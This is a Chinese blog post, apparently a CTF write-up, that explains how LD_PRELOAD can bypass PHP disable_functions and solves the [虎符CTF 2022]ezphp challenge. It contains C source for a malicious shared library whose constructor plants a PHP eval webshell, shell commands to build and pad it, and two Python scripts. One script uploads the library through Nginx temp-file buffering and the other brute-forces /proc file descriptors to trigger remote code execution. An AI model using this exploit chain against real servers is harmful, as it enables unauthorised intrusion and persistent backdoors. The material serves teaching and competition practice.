利用 LD_PRELOAD 环境变量
文章目录
- 原理
- LD_PRELOAD介绍
- 如何上传.so文件
- 例题 [虎符CTF 2022]ezphp
原理
LD_PRELOAD介绍
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
什么是链接
程序的链接主要有以下三种:
静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。
对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。但是由于程序是在运行时动态加载,这就存在一个问题,假如程序动态加载的函数是恶意的,就有可能导致disable_function被绕过。
使用LD_PRELOAD绕过的条件
能够上传自己的.so文件
能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数
存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等
当我们能够设置环境变量,比如putenv函数未被禁止,我们就可以把LD_PRELOAD变量设置为恶意.so文件的路径,只要启动新的进程就会在新进程运行前优先加载该恶意.so文件,由此,恶意代码就被注入到程序中。
如何上传.so文件
利用Nginx 在后端 Fastcgi 响应过大产生临时文件和竞争包含去解决
详细可参考[HXPCTF 2021]includer’s revenge
简单的RCE就是可以蚁剑连接后在/tmp下上传,难的话就像下面的例题
例题 [虎符CTF 2022]ezphp
源码如下
<?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?>
就是简单的三元运算符,存在参数env
首先恶意.so文件的构造
创建1.c文件,写入一句话木马,写到shell.php
#include <stdlib.h>
#include <stdio.h>
#include <string.h>__attribute__ ((__constructor__)) void angel (void){unsetenv("LD_PRELOAD");system("echo \"<?php eval(\\$_POST['cmd']);?>\" > /var/www/html/shell.php");
}
注:\\是为了防转义(\\\
待定)
然后在Linux系统下用自带的gcc进行编译
gcc -shared -fPIC 1.c -o 1.so
增大so文件的大小,在so文件尾部加入脏字符
var=`dd if=/dev/zero bs=1c count=10000 | tr '\0' 'c'
再执行
echo $var >> 1.so
可以看到文件是变大了
然后上脚本
脚本一(向网站发包)
from threading import Thread
import requests
import socket
import timeport = 28552
host = "node2.anna.nssctf.cn"def do_so():data = open("1.so", "rb").read()packet = f"""POST /index.php HTTP/1.1\r\nHOST:{host}:{port}\r\nContent-Length:{len(data) + 11}\r\n\r\n"""packet = packet.encode()packet += datas = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s.sendall(packet)time.sleep(10)s.close()if __name__ == "__main__":do_so()
脚本二(爆破一下pid)
import requests
from threading import Threadport = 28552
host = "node2.anna.nssctf.cn"def ldload(pid, fd):sopath = f"/proc/{pid}/fd/{fd}"print(sopath)r = requests.get(f"http://{host}:{port}/index.php", params={"env":f"LD_PRELOAD={sopath}"})return rif __name__ == "__main__":# ldload(20, 20)for pid in range(12, 40):for fd in range(1, 40):t = Thread(target=ldload, args=(pid, fd))t.start()
在Linux同时运行脚本(当然windows也行)
python3 1.py & python3 2.py
通过脚本,一直往服务器传写入so文件
传入成功后,在
/shell.php
直接命令执行
相关文章:

利用 LD_PRELOAD 环境变量
文章目录 原理LD_PRELOAD介绍如何上传.so文件 例题 [虎符CTF 2022]ezphp 原理 LD_PRELOAD介绍 LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接…...

黑马点评-Feed流的实现方案,基于推拉结合模式实现笔记推送
Feed流实现方案 我们关注了博主之后,当用户发布了动态后我们应该把这些数据推送给粉丝,关注推送也叫作Feed(投喂)流,通过无限下拉刷新获取新的信息 传统的模式内容检索: 粉丝需要主动通过搜索引擎或者是其他方式去查找想看的内容新型Feed流的效果: 系统分析用户到底想看什么,…...

Re53:读论文 How Can We Know What Language Models Know?
诸神缄默不语-个人CSDN博文目录 诸神缄默不语的论文阅读笔记和分类 论文名称:How Can We Know What Language Models Know? ArXiv网址:https://arxiv.org/abs/1911.12543 官方GitHub项目(prompt之类的都有):https:…...

YARN工作流程详解
图1 图2 图1 -作业提交阶段: 1、client 提交job,向 ResourceManager【RM】 申请job_id; 2、RM 返回 job_id 及资源提交路径 给 client 3、client 把job所需的资源提交 到 3中指定的路径中 4、client 上传完成资源后,向RM 发送执行作业请求,RM…...

力扣373场周赛题解
第一题: 这个题是一个简单题,数据范围也特别小,所以直接使用模拟方式暴力解答。 直接进行行移动的过程,然后检查移动后的结果是否与移动前相同。 代码: public class Solution {// 将指定行循环右移k次pri…...
编程语言发展史:Rust语言的出现和特点
一、Rust语言的出现 Rust语言是一种由Mozilla开发的系统级编程语言,该语言于2010年首次公布,由Graydon Hoare在Mozilla的工作期间开发,最初是为了替代C而设计的。Rust语言的目标是提供一种安全、高效、并发性强的编程语言,同时保…...

Centos Bind安装与排错
1.配置Centos系统静态IP vi/etc/sysconfig/network-scripts/ifcfg-ens33BOOTPROTOstaticIPADDR192.168.1.100NETMASK255.255.255.0GATEWAY192.168.1.1DNS18.8.8.8:wqsudo systemctl restart network.service 2.安装BIND(需要服务器连接互联网,如果服务…...
spark中write算子和format算子详解
在spark中,想要往数据库或者某sink路径里面写数据,存到外部存储系统,如文件系统、数据库或数据仓库,经常会用到write算子。 具体来说,write算子通常与DataFrame或Dataset API一起使用,用于将数据写入持久化…...

设计模式—接口隔离原则(ISP)
1.背景 2002 年罗伯特C.马丁给“接口隔离原则”的定义是:客户端不应该被迫依赖于它不使用的方法(Clients should not be forced to depend on methods they do not use)。该原则还有另外一个定义:一个类对另一个类的依赖应该建立…...

Jenkins用126邮箱发邮件为什么发不出去
1、检查 Jenkins Location中的邮件地址配置与发邮件的地址配置是否一致 Manage Jenkins -》 system 2、检查地址和端口号 3、检查邮箱的登录配置是否正确(这个地方的配置方式网上一抓一大把,自己搜一下就好) 4、126邮箱发邮件不需要勾选ssl协…...

怎么给数据库某个字段建立一个前缀索引
说明:SQL调优中重要的一个环节是建立索引,其中有一条是字段值过长字段应该建立前缀索引,即根据字段值的前几位建立索引,像数据库中的密码字段、UUID字段。 因为其随机性,其实根据前几位就可以锁定某一条记录了。前缀索…...
C# 图片下载工具类
写在前面 从浏览器的Html文本中获取图片链接并保存到本地,同时对图片的分辨率和品质进行处理,以满足某些平台的规格需求;可以放到多线程中调用以提高下载效率。 代码实现 public class ImageDownloader{private int minImageSize 1024 * 1…...

嵌入式硬件电路·电平
目录 1. 电平的概念 1.1 高电平 1.2 低电平 2. 电平的使用场景 2.1 高电平使能 2.2 低电平使能 2.3 失能 1. 电平的概念 电平是指电信号电压的大小或高低状态。在数字电子学中,电平有两种状态,高电平和低电平,用来表示二进制中…...
Python文件路径常用操作
1 文件路径 在进行数据处理时,经常要用代码去读文件里的数据,那么首先就得知道这个文件的文件路径。文件路径简单地说就是文件的存放位置。文件路径分为两块:文件夹路径和文件名,文件名又分为文件基本名和扩展名。 举例说明&…...

Redis-Redis 高并发分布式锁
集群分布式场景高并发 1.negix配置代理和路由 高并发场景超卖问题 1.使用原生redis控制超卖时(若是商品,则可以将商品id作为锁对象),会遇到的问题 问题一:若直接使用:将获取锁的对象和设置的超时的时间分开,则不能控…...

【推荐系统】MMOE笔记 20231126
paper阅读 任务差异带来的固有冲突实际上会损害至少某些任务的预测,特别是当模型参数在所有任务之间广泛共享时。(在说ESMM) 共享底层参数可以减少过拟合风险,但是会遇到任务差异引起的优化冲突,因为所有任务都需要在…...

4. 标准 IO 库
4. 标准 IO 库 1. 标准 IO 简介2. FILE 指针3. 标准输入、标准输出和标准错误4. fopen() 和 flose()5. fread() 和 fwrite()6. fseek 定位7. 检查或复位状态7.1 feof()7.2 ferrof()7.3 clearerr() 8. 格式化 IO8.1 格式化输出8. 2 格式化输入 9. IO 缓冲9.1 文件 IO 的内核缓冲…...

SAP Smartform小结
SAP系统做打印单据用的, 感觉很不好用, 特别是要嵌入韩文时必须使用嵌入的word编辑器,运行速度简直不可忍受. 见过一些Adobe interactive form的示例, 看着相当不错, 不过据说需要花money额外买licence, 哪有smartform这种免费东西来得实惠. 一般打印需求,会要求有标题抬头,打…...

KVM虚拟机的NAT网络模式原理及过程展示
NAT的方式及原理 NAT方式是KVM安装后的默认方式。 它支持主机与虚拟机的互访,同时也支持虚拟机访问互联网,但不支持外界访问虚拟机。 default是宿主机安装虚拟机支持模块的时候自动安装的。 其中 virbr0是由宿主机虚拟机支持模块安装时产生的虚拟网络接…...

亚马逊云科技向量数据库助力生成式AI成功落地实践探秘(一)
随着大语言模型效果明显提升,其相关的应用不断涌现呈现出越来越火爆的趋势。其中一种比较被广泛关注的技术路线是大语言模型(LLM)知识召回(Knowledge Retrieval)的方式,在私域知识问答方面可以很好的弥补通…...

RocketMQ延迟消息机制
两种延迟消息 RocketMQ中提供了两种延迟消息机制 指定固定的延迟级别 通过在Message中设定一个MessageDelayLevel参数,对应18个预设的延迟级别指定时间点的延迟级别 通过在Message中设定一个DeliverTimeMS指定一个Long类型表示的具体时间点。到了时间点后…...

工业安全零事故的智能守护者:一体化AI智能安防平台
前言: 通过AI视觉技术,为船厂提供全面的安全监控解决方案,涵盖交通违规检测、起重机轨道安全、非法入侵检测、盗窃防范、安全规范执行监控等多个方面,能够实现对应负责人反馈机制,并最终实现数据的统计报表。提升船厂…...

使用分级同态加密防御梯度泄漏
抽象 联邦学习 (FL) 支持跨分布式客户端进行协作模型训练,而无需共享原始数据,这使其成为在互联和自动驾驶汽车 (CAV) 等领域保护隐私的机器学习的一种很有前途的方法。然而,最近的研究表明&…...

HTML 列表、表格、表单
1 列表标签 作用:布局内容排列整齐的区域 列表分类:无序列表、有序列表、定义列表。 例如: 1.1 无序列表 标签:ul 嵌套 li,ul是无序列表,li是列表条目。 注意事项: ul 标签里面只能包裹 li…...
MVC 数据库
MVC 数据库 引言 在软件开发领域,Model-View-Controller(MVC)是一种流行的软件架构模式,它将应用程序分为三个核心组件:模型(Model)、视图(View)和控制器(Controller)。这种模式有助于提高代码的可维护性和可扩展性。本文将深入探讨MVC架构与数据库之间的关系,以…...
【服务器压力测试】本地PC电脑作为服务器运行时出现卡顿和资源紧张(Windows/Linux)
要让本地PC电脑作为服务器运行时出现卡顿和资源紧张的情况,可以通过以下几种方式模拟或触发: 1. 增加CPU负载 运行大量计算密集型任务,例如: 使用多线程循环执行复杂计算(如数学运算、加密解密等)。运行图…...
大模型多显卡多服务器并行计算方法与实践指南
一、分布式训练概述 大规模语言模型的训练通常需要分布式计算技术,以解决单机资源不足的问题。分布式训练主要分为两种模式: 数据并行:将数据分片到不同设备,每个设备拥有完整的模型副本 模型并行:将模型分割到不同设备,每个设备处理部分模型计算 现代大模型训练通常结合…...

OPENCV形态学基础之二腐蚀
一.腐蚀的原理 (图1) 数学表达式:dst(x,y) erode(src(x,y)) min(x,y)src(xx,yy) 腐蚀也是图像形态学的基本功能之一,腐蚀跟膨胀属于反向操作,膨胀是把图像图像变大,而腐蚀就是把图像变小。腐蚀后的图像变小变暗淡。 腐蚀…...
PAN/FPN
import torch import torch.nn as nn import torch.nn.functional as F import mathclass LowResQueryHighResKVAttention(nn.Module):"""方案 1: 低分辨率特征 (Query) 查询高分辨率特征 (Key, Value).输出分辨率与低分辨率输入相同。"""def __…...

【从零学习JVM|第三篇】类的生命周期(高频面试题)
前言: 在Java编程中,类的生命周期是指类从被加载到内存中开始,到被卸载出内存为止的整个过程。了解类的生命周期对于理解Java程序的运行机制以及性能优化非常重要。本文会深入探寻类的生命周期,让读者对此有深刻印象。 目录 …...